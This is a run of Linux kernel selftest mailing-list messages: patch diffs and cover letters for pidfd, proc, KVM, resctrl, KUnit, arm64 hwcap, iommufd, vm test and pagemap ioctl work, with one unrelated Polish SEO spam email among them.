+ ASSERT_EQ(read(pfd[0], buf, 1), 1);
+ close(pfd[0]);
kill(getpid(), SIGSTOP);
exit(EXIT_SUCCESS);
}
+ close(pfd[0]);
ASSERT_EQ(sys_waitid(P_PIDFD, pidfd, &info, WSTOPPED, NULL), 0);
ASSERT_EQ(info.si_signo, SIGCHLD);
ASSERT_EQ(info.si_code, CLD_STOPPED);
@@ -117,6 +125,8 @@ TEST(wait_states)
ASSERT_EQ(sys_pidfd_send_signal(pidfd, SIGCONT, NULL, 0), 0);
ASSERT_EQ(sys_waitid(P_PIDFD, pidfd, &info, WCONTINUED, NULL), 0);
+ ASSERT_EQ(write(pfd[1], "C", 1), 1);
+ close(pfd[1]);
ASSERT_EQ(info.si_signo, SIGCHLD);
ASSERT_EQ(info.si_code, CLD_CONTINUED);
ASSERT_EQ(info.si_pid, parent_tid);
--
2.35.1
The proc-empty-vm test is implemented for x86_64 and fails to build
for other architectures. Rather then emitting a compiler error it
would be preferable to only build the test on supported architectures.
Mark proc-empty-vm as a test for x86_64 and customise the Makefile to
build it only when building for this target architecture.
Fixes: 5bc73bb3451b ("proc: test how it holds up with mapping'less process")
Signed-off-by: Punit Agrawal <punit.agrawal(a)bytedance.com>
---
v1 -> v2
* Fixed missing compilation on x86_64
Previous version
* https://lore.kernel.org/all/20221109110621.1791999-1-punit.agrawal@bytedanc…
tools/testing/selftests/proc/Makefile | 10 ++++++++--
1 file changed, 8 insertions(+), 2 deletions(-)
diff --git a/tools/testing/selftests/proc/Makefile b/tools/testing/selftests/proc/Makefile
index cd95369254c0..743aaa0cdd52 100644
--- a/tools/testing/selftests/proc/Makefile
+++ b/tools/testing/selftests/proc/Makefile
@@ -1,14 +1,16 @@
# SPDX-License-Identifier: GPL-2.0-only
+
+# When ARCH not overridden for crosscompiling, lookup machine
+ARCH ?= $(shell uname -m 2>/dev/null || echo not)
+
CFLAGS += -Wall -O2 -Wno-unused-function
CFLAGS += -D_GNU_SOURCE
LDFLAGS += -pthread
-TEST_GEN_PROGS :=
TEST_GEN_PROGS += fd-001-lookup
TEST_GEN_PROGS += fd-002-posix-eq
TEST_GEN_PROGS += fd-003-kthread
TEST_GEN_PROGS += proc-loadavg-001
-TEST_GEN_PROGS += proc-empty-vm
TEST_GEN_PROGS += proc-pid-vm
TEST_GEN_PROGS += proc-self-map-files-001
TEST_GEN_PROGS += proc-self-map-files-002
@@ -26,4 +28,8 @@ TEST_GEN_PROGS += thread-self
TEST_GEN_PROGS += proc-multiple-procfs
TEST_GEN_PROGS += proc-fsconfig-hidepid
+TEST_GEN_PROGS_x86_64 += proc-empty-vm
+
+TEST_GEN_PROGS += $(TEST_GEN_PROGS_$(ARCH))
+
include ../lib.mk
--
2.35.1
Many KVM selftests are completely silent. This has the disadvantage
for the users that they do not know what's going on here. For example,
some time ago, a tester asked me how to know whether a certain new
sub-test has been added to one of the s390x test binaries or not (which
he didn't compile on his own), which is hard to judge when there is no
output. So I finally went ahead and implemented TAP output in the
s390x-specific tests some months ago.
Now I wonder whether that could be a good strategy for the x86 and
generic tests, too? As a little RFC patch series, I've converted
three more KVM selftests to use TAP output. If we decide that this
is the right way to go, I can work on other tests later, too.
Thomas Huth (3):
KVM: selftests: Use TAP interface in the kvm_binary_stats_test
KVM: selftests: x86: Use TAP interface in the sync_regs test
KVM: selftests: x86: Use TAP interface in the tsc_msrs_test
.../selftests/kvm/kvm_binary_stats_test.c | 11 +-
.../selftests/kvm/x86_64/sync_regs_test.c | 113 ++++++++++++++----
.../selftests/kvm/x86_64/tsc_msrs_test.c | 16 ++-
3 files changed, 114 insertions(+), 26 deletions(-)
--
2.31.1
Hello,
The aim of this patch series is to improve the resctrl selftest.
Without these fixes, some unnecessary processing will be executed
and test results will be confusing.
There is no behavior change in test themselves.
[patch 1] Make write_schemata() run to set up shemata with 100% allocation
on first run in MBM test.
[patch 2] The MBA test result message is always output as "ok",
make output message to be "not ok" if MBA check result is failed.
[patch 3] When a child process is created by fork(), the buffer of the
parent process is also copied. Flush the buffer before
executing fork().
[patch 4] Add a signal handler to cleanup properly before exiting the
parent process, if there is an error occurs after creating
a child process with fork() in the CAT test.
[patch 5] Before exiting each test CMT/CAT/MBM/MBA, clear test result
files function cat/cmt/mbm/mba_test_cleanup() are called
twice. Delete once.
This patch series is based on Linux v6.1-rc3
Difference from v2:
Moved [PATCH v2 3/4] to the last and insert patch 4 before it.
[patch 1] Fixed the typo miss in the changelog and initialized
*p(resctrl_val_param) before use it. And since there was no
MBM processing in write_schemata(), added it.
[patch 4] A signal handler is introduced in this patch. With this patch,
patch 5 clear duplicate code cat/cmt/mbm/mba_test_cleanup()
without falling into the indicated trap.
https://lore.kernel.org/lkml/bdb19cf6-dd4b-2042-7cda-7f6108e543aa@intel.com/
Pervious versions of this series:
[v1] https://lore.kernel.org/lkml/20220914015147.3071025-1-tan.shaopeng@jp.fujit…
[v2] https://lore.kernel.org/lkml/20221005013933.1486054-1-tan.shaopeng@jp.fujit…
Shaopeng Tan (5):
selftests/resctrl: Fix set up schemata with 100% allocation on first
run in MBM test
selftests/resctrl: Return MBA check result and make it to output
message
selftests/resctrl: Flush stdout file buffer before executing fork()
selftests/resctrl: Cleanup properly when an error occurs in CAT test.
selftests/resctrl: Remove duplicate codes that clear each test result
file
tools/testing/selftests/resctrl/cat_test.c | 29 +++++++++++++------
tools/testing/selftests/resctrl/mba_test.c | 8 ++---
tools/testing/selftests/resctrl/mbm_test.c | 13 +++++----
.../testing/selftests/resctrl/resctrl_tests.c | 4 ---
tools/testing/selftests/resctrl/resctrl_val.c | 1 +
tools/testing/selftests/resctrl/resctrlfs.c | 5 +++-
6 files changed, 36 insertions(+), 24 deletions(-)
--
2.27.0
Hi everyone, sorry for quickly resending this patch series due to
duplicated patch [7/7] sent as result of amending the corresponding
commit.
The proses written in KUnit documentation are IMO incomprehensible (my
brain has to process what the meaning of words used) and different from
wordings that I normally read from technical writings. Thus, rewrite these
using clearer words.
Anyway, it's great to see native English speakers help reviewing this
series.
The first two patches are v3 of rewriting "Writing Your First Test"
section of "Getting Started" patch [1], which was submitted about a
month ago. The rest are actual documentation rewriting.
Note that this series only rewrites intro, test writing and running docs.
[1]: https://lore.kernel.org/lkml/20220929132549.56452-1-bagasdotme@gmail.com/
Bagas Sanjaya (7):
Documentation: kunit: rewrite "Writing Your First Test" section
Documentation: kunit: align instruction code blocks
Documentation: kunit: rewrite the rest of "Getting Started"
documentation
Documentation: kunit: move introduction to its own document
Documentation: kunit: rewrite "Running tests with kunit_tool"
Documentation: kunit: rewrite "Run Tests without kunit_tool"
Documentation: kunit: rewrite "Writing tests"
Documentation/admin-guide/README.rst | 2 +
Documentation/dev-tools/kunit/index.rst | 93 +----
Documentation/dev-tools/kunit/intro.rst | 61 ++++
Documentation/dev-tools/kunit/run_manual.rst | 68 ++--
Documentation/dev-tools/kunit/run_wrapper.rst | 302 ++++++----------
Documentation/dev-tools/kunit/start.rst | 264 +++++++-------
Documentation/dev-tools/kunit/usage.rst | 322 ++++++++++--------
7 files changed, 483 insertions(+), 629 deletions(-)
create mode 100644 Documentation/dev-tools/kunit/intro.rst
base-commit: de3ee3f63400a23954e7c1ad1cb8c20f29ab6fe3
--
An old man doll... just what I always wanted! - Clara
On 11/7/22 7:49 PM, Jason Gunthorpe wrote:
> Cover the essential functionality of the iommufd with a directed
> test. This aims to achieve reasonable functional coverage using the
> in-kernel self test framework.
>
> It provides a mock kernel module for the iommu_domain that allows it to
> run without any HW and the mocking provides a way to directly validate
> that the PFNs loaded into the iommu_domain are correct.
>
> The mock also simulates the rare case of PAGE_SIZE > iommu page size as
> the mock will operate at a 2K iommu page size. This allows exercising all
> of the calculations to support this mismatch.
>
> This allows achieving high coverage of the corner cases in the iopt_pages.
>
> However, it is an unusually invasive config option to enable all of
> this. The config option should not be enabled in a production kernel.
>
> Tested-by: Nicolin Chen <nicolinc(a)nvidia.com>
> Signed-off-by: Jason Gunthorpe <jgg(a)nvidia.com>
> Signed-off-by: Nicolin Chen <nicolinc(a)nvidia.com>
> Signed-off-by: Yi Liu <yi.l.liu(a)intel.com>
Ran the selftests on s390 in both LPAR (z16) and a QEMU kvm guest using 1M hugepages, all tests are passing.
Tested-by: Matthew Rosato <mjrosato(a)linux.ibm.com> # s390
The proc-empty-vm test is implemented for x86_64 and fails to build
for other architectures. Rather then emitting a compiler error it
would be preferable to only build the test on supported architectures.
Mark proc-empty-vm as a test for x86_64 and customise to the Makefile
to build it only when building for this target architecture.
Fixes: 5bc73bb3451b ("proc: test how it holds up with mapping'less process")
Signed-off-by: Punit Agrawal <punit.agrawal(a)bytedance.com>
---
tools/testing/selftests/proc/Makefile | 8 ++++++--
1 file changed, 6 insertions(+), 2 deletions(-)
diff --git a/tools/testing/selftests/proc/Makefile b/tools/testing/selftests/proc/Makefile
index cd95369254c0..6b31439902af 100644
--- a/tools/testing/selftests/proc/Makefile
+++ b/tools/testing/selftests/proc/Makefile
@@ -1,14 +1,18 @@
# SPDX-License-Identifier: GPL-2.0-only
+
+# When ARCH not overridden for crosscompiling, lookup machine
+ARCH ?= $(shell uname -m 2>/dev/null || echo not)
+
CFLAGS += -Wall -O2 -Wno-unused-function
CFLAGS += -D_GNU_SOURCE
LDFLAGS += -pthread
-TEST_GEN_PROGS :=
+TEST_GEN_PROGS_x86_64 += proc-empty-vm
+
TEST_GEN_PROGS += fd-001-lookup
TEST_GEN_PROGS += fd-002-posix-eq
TEST_GEN_PROGS += fd-003-kthread
TEST_GEN_PROGS += proc-loadavg-001
-TEST_GEN_PROGS += proc-empty-vm
TEST_GEN_PROGS += proc-pid-vm
TEST_GEN_PROGS += proc-self-map-files-001
TEST_GEN_PROGS += proc-self-map-files-002
--
2.30.2
The 2022 update to the Arm architecture includes a number of additions
of generic data processing features, covering the base architecture, SVE
and SME. Other than SME these are all simple features which introduce no
architectural state so we simply need to expose hwcaps for them. This
series covers these simple features. Since the SME updates do introduce
new architectural state for which we must add new ABI they will be
handled in a separate series.
Mark Brown (6):
arm64/hwcap: Add support for FEAT_CSSC
kselftest/arm64: Add FEAT_CSSC to the hwcap selftest
arm64/hwcap: Add support for FEAT_RPRFM
kselftest/arm64: Add FEAT_RPRFM to the hwcap test
arm64/hwcap: Add support for SVE 2.1
kselftest/arm64: Add SVE 2.1 to hwcap test
Documentation/arm64/elf_hwcaps.rst | 9 +++++++
Documentation/arm64/sve.rst | 1 +
arch/arm64/include/asm/hwcap.h | 3 +++
arch/arm64/include/uapi/asm/hwcap.h | 3 +++
arch/arm64/kernel/cpufeature.c | 5 ++++
arch/arm64/kernel/cpuinfo.c | 3 +++
arch/arm64/tools/sysreg | 12 ++++++++-
tools/testing/selftests/arm64/abi/hwcap.c | 32 +++++++++++++++++++++++
8 files changed, 67 insertions(+), 1 deletion(-)
base-commit: 9abf2313adc1ca1b6180c508c25f22f9395cc780
--
2.30.2
Hi.
First of all, I hope you are fine and the same for your relatives.
This contribution fixes a bug where the byte before the destination address can
be reset when a page fault occurs in strncpy_from_kernel_nofault() while copying
the first byte from the source address.
This bug leaded to kernel panic if a pointer containing the modified address is
dereferenced as the pointer does not contain a correct addresss.
To fix this bug, we simply reset the current destination byte in a case of a
page fault.
The proposed fix was tested and validated inside a VM:
root@vm-amd64:~# ./share/linux/tools/testing/selftests/bpf/test_progs --name varlen
...
#222 varlen:OK
Summary: 1/0 PASSED, 0 SKIPPED, 0 FAILED
Without the patch, the test will fail:
root@vm-amd64:~# ./share/linux/tools/testing/selftests/bpf/test_progs --name varlen
...
#222 varlen:FAIL
Summary: 0/0 PASSED, 0 SKIPPED, 1 FAILED
If you see any way to improve this contribution, feel free to share.
Alban Crequy (2):
maccess: fix writing offset in case of fault in
strncpy_from_kernel_nofault()
selftests: bpf: add a test when bpf_probe_read_kernel_str() returns
EFAULT
mm/maccess.c | 2 +-
tools/testing/selftests/bpf/prog_tests/varlen.c | 7 +++++++
tools/testing/selftests/bpf/progs/test_varlen.c | 5 +++++
3 files changed, 13 insertions(+), 1 deletion(-)
Best regards and thank you in advance.
--
2.25.1
[
At this point everything is done and I will start putting this work into a
git tree and into linux-next with the intention of sending it during the
next merge window.
I intend to focus the next several weeks on more intensive QA to look at
error flows and other things. Hopefully including syzkaller if I'm lucky
]
iommufd is the user API to control the IOMMU subsystem as it relates to
managing IO page tables that point at user space memory.
It takes over from drivers/vfio/vfio_iommu_type1.c (aka the VFIO
container) which is the VFIO specific interface for a similar idea.
We see a broad need for extended features, some being highly IOMMU device
specific:
- Binding iommu_domain's to PASID/SSID
- Userspace IO page tables, for ARM, x86 and S390
- Kernel bypassed invalidation of user page tables
- Re-use of the KVM page table in the IOMMU
- Dirty page tracking in the IOMMU
- Runtime Increase/Decrease of IOPTE size
- PRI support with faults resolved in userspace
Many of these HW features exist to support VM use cases - for instance the
combination of PASID, PRI and Userspace IO Page Tables allows an
implementation of DMA Shared Virtual Addressing (vSVA) within a
guest. Dirty tracking enables VM live migration with SRIOV devices and
PASID support allow creating "scalable IOV" devices, among other things.
As these features are fundamental to a VM platform they need to be
uniformly exposed to all the driver families that do DMA into VMs, which
is currently VFIO and VDPA.
The pre-v1 series proposed re-using the VFIO type 1 data structure,
however it was suggested that if we are doing this big update then we
should also come with an improved data structure that solves the
limitations that VFIO type1 has. Notably this addresses:
- Multiple IOAS/'containers' and multiple domains inside a single FD
- Single-pin operation no matter how many domains and containers use
a page
- A fine grained locking scheme supporting user managed concurrency for
multi-threaded map/unmap
- A pre-registration mechanism to optimize vIOMMU use cases by
pre-pinning pages
- Extended ioctl API that can manage these new objects and exposes
domains directly to user space
- domains are sharable between subsystems, eg VFIO and VDPA
The bulk of this code is a new data structure design to track how the
IOVAs are mapped to PFNs.
iommufd intends to be general and consumable by any driver that wants to
DMA to userspace. From a driver perspective it can largely be dropped in
in-place of iommu_attach_device() and provides a uniform full feature set
to all consumers.
As this is a larger project this series is the first step. This series
provides the iommfd "generic interface" which is designed to be suitable
for applications like DPDK and VMM flows that are not optimized to
specific HW scenarios. It is close to being a drop in replacement for the
existing VFIO type 1 and supports existing qemu based VM flows.
Several follow-on series are being prepared:
- Patches integrating with qemu in native mode:
https://github.com/yiliu1765/qemu/commits/qemu-iommufd-6.0-rc2
- A completed integration with VFIO now exists that covers "emulated" mdev
use cases now, and can pass testing with qemu/etc in compatability mode:
https://github.com/jgunthorpe/linux/commits/vfio_iommufd
- A draft providing system iommu dirty tracking on top of iommufd,
including iommu driver implementations:
https://github.com/jpemartins/linux/commits/x86-iommufd
This pairs with patches for providing a similar API to support VFIO-device
tracking to give a complete vfio solution:
https://lore.kernel.org/kvm/20220901093853.60194-1-yishaih@nvidia.com/
- Userspace page tables aka 'nested translation' for ARM and Intel iommu
drivers:
https://github.com/nicolinc/iommufd/commits/iommufd_nesting
- "device centric" vfio series to expose the vfio_device FD directly as a
normal cdev, and provide an extended API allowing dynamically changing
the IOAS binding:
https://github.com/yiliu1765/iommufd/commits/iommufd-v6.0-rc2-nesting-0901
- Drafts for PASID and PRI interfaces are included above as well
Overall enough work is done now to show the merit of the new API design
and at least draft solutions to many of the main problems.
Several people have contributed directly to this work: Eric Auger, Joao
Martins, Kevin Tian, Lu Baolu, Nicolin Chen, Yi L Liu. Many more have
participated in the discussions that lead here, and provided ideas. Thanks
to all!
The v1/v2 iommufd series has been used to guide a large amount of preparatory
work that has now been merged. The general theme is to organize things in
a way that makes injecting iommufd natural:
- VFIO live migration support with mlx5 and hisi_acc drivers.
These series need a dirty tracking solution to be really usable.
https://lore.kernel.org/kvm/20220224142024.147653-1-yishaih@nvidia.com/https://lore.kernel.org/kvm/20220308184902.2242-1-shameerali.kolothum.thodi…
- Significantly rework the VFIO gvt mdev and remove struct
mdev_parent_ops
https://lore.kernel.org/lkml/20220411141403.86980-1-hch@lst.de/
- Rework how PCIe no-snoop blocking works
https://lore.kernel.org/kvm/0-v3-2cf356649677+a32-intel_no_snoop_jgg@nvidia…
- Consolidate dma ownership into the iommu core code
https://lore.kernel.org/linux-iommu/20220418005000.897664-1-baolu.lu@linux.…
- Make all vfio driver interfaces use struct vfio_device consistently
https://lore.kernel.org/kvm/0-v4-8045e76bf00b+13d-vfio_mdev_no_group_jgg@nv…
- Remove the vfio_group from the kvm/vfio interface
https://lore.kernel.org/kvm/0-v3-f7729924a7ea+25e33-vfio_kvm_no_group_jgg@n…
- Simplify locking in vfio
https://lore.kernel.org/kvm/0-v2-d035a1842d81+1bf-vfio_group_locking_jgg@nv…
- Remove the vfio notifiter scheme that faces drivers
https://lore.kernel.org/kvm/0-v4-681e038e30fd+78-vfio_unmap_notif_jgg@nvidi…
- Improve the driver facing API for vfio pin/unpin pages to make the
presence of struct page clear
https://lore.kernel.org/kvm/20220723020256.30081-1-nicolinc@nvidia.com/
- Clean up in the Intel IOMMU driver
https://lore.kernel.org/linux-iommu/20220301020159.633356-1-baolu.lu@linux.…https://lore.kernel.org/linux-iommu/20220510023407.2759143-1-baolu.lu@linux…https://lore.kernel.org/linux-iommu/20220514014322.2927339-1-baolu.lu@linux…https://lore.kernel.org/linux-iommu/20220706025524.2904370-1-baolu.lu@linux…https://lore.kernel.org/linux-iommu/20220702015610.2849494-1-baolu.lu@linux…
- Rework s390 vfio drivers
https://lore.kernel.org/kvm/20220707135737.720765-1-farman@linux.ibm.com/
- Normalize vfio ioctl handling
https://lore.kernel.org/kvm/0-v2-0f9e632d54fb+d6-vfio_ioctl_split_jgg@nvidi…
- VFIO API for dirty tracking (aka dma logging) managed inside a PCI
device, with mlx5 implementation
https://lore.kernel.org/kvm/20220901093853.60194-1-yishaih@nvidia.com
- Introduce a struct device sysfs presence for struct vfio_device
https://lore.kernel.org/kvm/20220901143747.32858-1-kevin.tian@intel.com/
- Complete restructuring the vfio mdev model
https://lore.kernel.org/kvm/20220822062208.152745-1-hch@lst.de/
- Isolate VFIO container code in preperation for iommufd to provide an
alternative implementation of it all
https://lore.kernel.org/kvm/0-v1-a805b607f1fb+17b-vfio_container_split_jgg@…
This is about 215 patches applied since March, thank you to everyone
involved in all this work!
Currently there are a number of supporting series still in progress:
- Simplify and consolidate iommu_domain/device compatability checking
https://lore.kernel.org/linux-iommu/20220815181437.28127-1-nicolinc@nvidia.…
- Align iommu SVA support with the domain-centric model
https://lore.kernel.org/linux-iommu/20220826121141.50743-1-baolu.lu@linux.i…
- DMABUF exporter support for VFIO to allow PCI P2P with VFIO
https://lore.kernel.org/r/0-v2-472615b3877e+28f7-vfio_dma_buf_jgg@nvidia.com
- Start to provide iommu_domain ops for power
https://lore.kernel.org/all/20220714081822.3717693-1-aik@ozlabs.ru/
However, these are not necessary for this series to advance.
This is on github: https://github.com/jgunthorpe/linux/commits/iommufd
v3:
- Rebase to v6.1-rc1
- Improve documentation
- Use EXPORT_SYMBOL_NS
- Fix W1, checkpatch stuff
- Revise pages.c to resolve the FIXMEs. Create a
interval_tree_double_span_iter which allows a simple expression of the
previously problematic algorithms
- Consistently use the word 'access' instead of user to refer to an
access from an in-kernel user (eg vfio mdev)
- Support two forms of rlimit accounting and make the vfio compatible one
the default in compatability mode (following series)
- Support old VFIO type1 by disabling huge pages and implementing a
simple algorithm to split a struct iopt_area
- Full implementation of access support, test coverage and optimizations
- Complete COPY to be able to copy across contiguous areas. Improve
all the algorithms around contiguous areas with a dedicated iterator
- Functional ENFORCED_COHERENT support
- Support multi-device groups
- Lots of smaller changes (the interdiff is 5k lines)
v2: https://lore.kernel.org/r/0-v2-f9436d0bde78+4bb-iommufd_jgg@nvidia.com
- Rebase to v6.0-rc3
- Improve comments
- Change to an iterative destruction approach to avoid cycles
- Near rewrite of the vfio facing implementation, supported by a complete
implementation on the vfio side
- New IOMMU_IOAS_ALLOW_IOVAS API as discussed. Allows userspace to
assert that ranges of IOVA must always be mappable. To be used by a VMM
that has promised a guest a certain availability of IOVA. May help
guide PPC's multi-window implementation.
- Rework how unmap_iova works, user can unmap the whole ioas now
- The no-snoop / wbinvd support is implemented
- Bug fixes
- Test suite improvements
- Lots of smaller changes (the interdiff is 3k lines)
v1: https://lore.kernel.org/r/0-v1-e79cd8d168e8+6-iommufd_jgg@nvidia.com
Jason Gunthorpe (13):
iommu: Add IOMMU_CAP_ENFORCE_CACHE_COHERENCY
interval-tree: Add a utility to iterate over spans in an interval tree
iommufd: File descriptor, context, kconfig and makefiles
kernel/user: Allow user::locked_vm to be usable for iommufd
iommufd: PFN handling for iopt_pages
iommufd: Algorithms for PFN storage
iommufd: Data structure to provide IOVA to PFN mapping
iommufd: IOCTLs for the io_pagetable
iommufd: Add a HW pagetable object
iommufd: Add kAPI toward external drivers for physical devices
iommufd: Add kAPI toward external drivers for kernel access
iommufd: vfio container FD ioctl compatibility
iommufd: Add a selftest
Kevin Tian (1):
iommufd: Overview documentation
Lu Baolu (1):
iommu: Add device-centric DMA ownership interfaces
.clang-format | 3 +
Documentation/userspace-api/index.rst | 1 +
.../userspace-api/ioctl/ioctl-number.rst | 1 +
Documentation/userspace-api/iommufd.rst | 222 ++
MAINTAINERS | 10 +
drivers/iommu/Kconfig | 1 +
drivers/iommu/Makefile | 2 +-
drivers/iommu/amd/iommu.c | 2 +
drivers/iommu/intel/iommu.c | 4 +
drivers/iommu/iommu.c | 116 +-
drivers/iommu/iommufd/Kconfig | 24 +
drivers/iommu/iommufd/Makefile | 13 +
drivers/iommu/iommufd/device.c | 744 +++++++
drivers/iommu/iommufd/double_span.h | 98 +
drivers/iommu/iommufd/hw_pagetable.c | 57 +
drivers/iommu/iommufd/io_pagetable.c | 1143 +++++++++++
drivers/iommu/iommufd/io_pagetable.h | 240 +++
drivers/iommu/iommufd/ioas.c | 390 ++++
drivers/iommu/iommufd/iommufd_private.h | 273 +++
drivers/iommu/iommufd/iommufd_test.h | 85 +
drivers/iommu/iommufd/main.c | 417 ++++
drivers/iommu/iommufd/pages.c | 1803 +++++++++++++++++
drivers/iommu/iommufd/selftest.c | 711 +++++++
drivers/iommu/iommufd/vfio_compat.c | 443 ++++
include/linux/interval_tree.h | 50 +
include/linux/iommu.h | 18 +
include/linux/iommufd.h | 101 +
include/linux/sched/user.h | 2 +-
include/uapi/linux/iommufd.h | 330 +++
kernel/user.c | 1 +
lib/Kconfig | 4 +
lib/interval_tree.c | 132 ++
tools/testing/selftests/Makefile | 1 +
tools/testing/selftests/iommu/.gitignore | 2 +
tools/testing/selftests/iommu/Makefile | 11 +
tools/testing/selftests/iommu/config | 2 +
tools/testing/selftests/iommu/iommufd.c | 1715 ++++++++++++++++
37 files changed, 9145 insertions(+), 27 deletions(-)
create mode 100644 Documentation/userspace-api/iommufd.rst
create mode 100644 drivers/iommu/iommufd/Kconfig
create mode 100644 drivers/iommu/iommufd/Makefile
create mode 100644 drivers/iommu/iommufd/device.c
create mode 100644 drivers/iommu/iommufd/double_span.h
create mode 100644 drivers/iommu/iommufd/hw_pagetable.c
create mode 100644 drivers/iommu/iommufd/io_pagetable.c
create mode 100644 drivers/iommu/iommufd/io_pagetable.h
create mode 100644 drivers/iommu/iommufd/ioas.c
create mode 100644 drivers/iommu/iommufd/iommufd_private.h
create mode 100644 drivers/iommu/iommufd/iommufd_test.h
create mode 100644 drivers/iommu/iommufd/main.c
create mode 100644 drivers/iommu/iommufd/pages.c
create mode 100644 drivers/iommu/iommufd/selftest.c
create mode 100644 drivers/iommu/iommufd/vfio_compat.c
create mode 100644 include/linux/iommufd.h
create mode 100644 include/uapi/linux/iommufd.h
create mode 100644 tools/testing/selftests/iommu/.gitignore
create mode 100644 tools/testing/selftests/iommu/Makefile
create mode 100644 tools/testing/selftests/iommu/config
create mode 100644 tools/testing/selftests/iommu/iommufd.c
base-commit: 247f34f7b80357943234f93f247a1ae6b6c3a740
--
2.38.0
Dzień dobry,
zapoznałem się z Państwa ofertą i z przyjemnością przyznaję, że przyciąga uwagę i zachęca do dalszych rozmów.
Pomyślałem, że może mógłbym mieć swój wkład w Państwa rozwój i pomóc dotrzeć z tą ofertą do większego grona odbiorców. Pozycjonuję strony www, dzięki czemu generują świetny ruch w sieci.
Możemy porozmawiać w najbliższym czasie?
Pozdrawiam
Adam Charachuta
commit b5ba705c2608 ("selftests/vm: enable running select groups of tests")
unintentionally reversed the ordering of some of the lines of
run_vmtests.sh that calculate values based on system configuration.
Importantly, $hpgsize_MB is determined from $hpgsize_KB, but this later
value is not read from /proc/meminfo until later, causing userfaultfd
tests to incorrectly fail since $half_ufd_size_MB will always be 0.
Switch these statements around into proper order to fix the invocation
of the userfaultfd tests that use $half_ufd_size_MB.
Suggested-by: Nico Pache <npache(a)redhat.com>
Signed-off-by: Joel Savitz <jsavitz(a)redhat.com>
---
tools/testing/selftests/vm/run_vmtests.sh | 20 ++++++++++----------
1 file changed, 10 insertions(+), 10 deletions(-)
diff --git a/tools/testing/selftests/vm/run_vmtests.sh b/tools/testing/selftests/vm/run_vmtests.sh
index fff00bb77086..ce52e4f5ff21 100755
--- a/tools/testing/selftests/vm/run_vmtests.sh
+++ b/tools/testing/selftests/vm/run_vmtests.sh
@@ -82,16 +82,6 @@ test_selected() {
fi
}
-# Simple hugetlbfs tests have a hardcoded minimum requirement of
-# huge pages totaling 256MB (262144KB) in size. The userfaultfd
-# hugetlb test requires a minimum of 2 * nr_cpus huge pages. Take
-# both of these requirements into account and attempt to increase
-# number of huge pages available.
-nr_cpus=$(nproc)
-hpgsize_MB=$((hpgsize_KB / 1024))
-half_ufd_size_MB=$((((nr_cpus * hpgsize_MB + 127) / 128) * 128))
-needmem_KB=$((half_ufd_size_MB * 2 * 1024))
-
# get huge pagesize and freepages from /proc/meminfo
while read -r name size unit; do
if [ "$name" = "HugePages_Free:" ]; then
@@ -102,6 +92,16 @@ while read -r name size unit; do
fi
done < /proc/meminfo
+# Simple hugetlbfs tests have a hardcoded minimum requirement of
+# huge pages totaling 256MB (262144KB) in size. The userfaultfd
+# hugetlb test requires a minimum of 2 * nr_cpus huge pages. Take
+# both of these requirements into account and attempt to increase
+# number of huge pages available.
+nr_cpus=$(nproc)
+hpgsize_MB=$((hpgsize_KB / 1024))
+half_ufd_size_MB=$((((nr_cpus * hpgsize_MB + 127) / 128) * 128))
+needmem_KB=$((half_ufd_size_MB * 2 * 1024))
+
# set proper nr_hugepages
if [ -n "$freepgs" ] && [ -n "$hpgsize_KB" ]; then
nr_hugepgs=$(cat /proc/sys/vm/nr_hugepages)
--
2.31.1
Hello,
This patch series implements IOCTL on the pagemap procfs file to get the
information about the page table entries (PTEs). The following operations
are supported in this ioctl:
- Get the information if the pages are soft-dirty, file mapped, present
or swapped.
- Clear the soft-dirty PTE bit of the pages.
- Get and clear the soft-dirty PTE bit of the pages atomically.
Soft-dirty PTE bit of the memory pages can be read by using the pagemap
procfs file. The soft-dirty PTE bit for the whole memory range of the
process can be cleared by writing to the clear_refs file. There are other
methods to mimic this information entirely in userspace with poor
performance:
- The mprotect syscall and SIGSEGV handler for bookkeeping
- The userfaultfd syscall with the handler for bookkeeping
Some benchmarks can be seen here[1]. This series adds features that weren't
present earlier:
- There is no atomic get soft-dirty PTE bit status and clear operation
possible.
- The soft-dirty PTE bit of only a part of memory cannot be cleared.
Historically, soft-dirty PTE bit tracking has been used in the CRIU
project. The procfs interface is enough for finding the soft-dirty bit
status and clearing the soft-dirty bit of all the pages of a process.
We have the use case where we need to track the soft-dirty PTE bit for
only specific pages on demand. We need this tracking and clear mechanism
of a region of memory while the process is running to emulate the
getWriteWatch() syscall of Windows. This syscall is used by games to
keep track of dirty pages to process only the dirty pages.
The information related to pages if the page is file mapped, present and
swapped is required for the CRIU project[2][3]. The addition of the
required mask, any mask, excluded mask and return masks are also required
for the CRIU project[2].
The IOCTL returns the addresses of the pages which match the specific masks.
The page addresses are returned in struct page_region in a compact form.
The max_pages is needed to support a use case where user only wants to get
a specific number of pages. So there is no need to find all the pages of
interest in the range when max_pages is specified. The IOCTL returns when
the maximum number of the pages are found. The max_pages is optional. If
max_pages is specified, it must be equal or greater than the vec_size.
This restriction is needed to handle worse case when one page_region only
contains info of one page and it cannot be compacted. This is needed to
emulate the Windows getWriteWatch() syscall.
Some non-dirty pages get marked as dirty because of the kernel's
internal activity (such as VMA merging as soft-dirty bit difference isn't
considered while deciding to merge VMAs). The dirty bit of the pages is
stored in the VMA flags and in the per page flags. If any of these two bits
are set, the page is considered to be soft dirty. Suppose you have cleared
the soft dirty bit of half of VMA which will be done by splitting the VMA
and clearing soft dirty bit flag in the half VMA and the pages in it. Now
kernel may decide to merge the VMAs again. So the half VMA becomes dirty
again. This splitting/merging costs performance. The application receives
a lot of pages which aren't dirty in reality but marked as dirty.
Performance is lost again here. Also sometimes user doesn't want the newly
allocated memory to be marked as dirty. PAGEMAP_NO_REUSED_REGIONS flag
solves both the problems. It is used to not depend on the soft dirty flag
in the VMA flags. So VMA splitting and merging doesn't happen. It only
depends on the soft dirty bit of the individual pages. Thus by using this
flag, there may be a scenerio such that the new memory regions which are
just created, doesn't look dirty when seen with the IOCTL, but look dirty
when seen from procfs. This seems okay as the user of this flag know the
implication of using it.
[1] https://lore.kernel.org/lkml/54d4c322-cd6e-eefd-b161-2af2b56aae24@collabora…
[2] https://lore.kernel.org/all/YyiDg79flhWoMDZB@gmail.com/
[3] https://lore.kernel.org/all/20221014134802.1361436-1-mdanylo@google.com/
Regards,
Muhammad Usama Anjum
Muhammad Usama Anjum (3):
fs/proc/task_mmu: update functions to clear the soft-dirty PTE bit
fs/proc/task_mmu: Implement IOCTL to get and/or the clear info about
PTEs
selftests: vm: add pagemap ioctl tests
fs/proc/task_mmu.c | 396 +++++++++++-
include/uapi/linux/fs.h | 53 ++
tools/include/uapi/linux/fs.h | 53 ++
tools/testing/selftests/vm/.gitignore | 1 +
